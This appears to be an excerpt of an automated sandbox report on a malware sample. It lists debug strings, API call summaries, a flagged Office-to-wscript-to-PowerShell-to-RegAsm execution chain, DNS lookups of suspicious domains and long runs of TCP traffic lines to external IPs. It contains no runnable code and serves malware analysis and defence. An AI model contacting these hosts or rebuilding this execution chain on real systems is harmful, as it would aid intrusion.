                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,12_2_00409253
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,12_2_0041C291
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,12_2_0040C34D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,12_2_00409665
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0044E879 FindFirstFileExA,12_2_0044E879
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,12_2_0040880C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040783C FindFirstFileW,FindNextFileW,12_2_0040783C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,12_2_00419AF5
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,12_2_0040BB30
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,12_2_0040BD37
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,12_2_00407C97

                Software Vulnerabilities

                barindex
                Document exploit detected (process start blacklist hit)
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                Suspicious execution chain found
                Source: C:\Windows\SysWOW64\wscript.exeChild: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeChild: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                Source: global trafficDNS query: name: tny.wtf
                Source: global trafficDNS query: name: tny.wtf
                Source: global trafficDNS query: name: tny.wtf
                Source: global trafficDNS query: name: tny.wtf
                Source: global trafficDNS query: name: tny.wtf
                Source: global trafficDNS query: name: tny.wtf
                Source: global trafficDNS query: name: tochisglobal.ddns.net
                Source: global trafficDNS query: name: geoplugin.net
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 188.114.97.3:80
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49167 -> 198.46.176.133:80
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 178.237.33.50:80
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 188.114.97.3:80
                Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 188.114.97.3:80
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 188.114.97.3:80
                Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49161
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 188.114.97.3:80
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
                Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
                Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
                Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
                Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 188.114.97.3:80
                Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 188.114.97.3:80
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 188.114.97.3:80
                Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49164
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 188.114.97.3:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49162
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
                Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
                Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
                Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
                Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.245.123.11:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.245.123.11:80
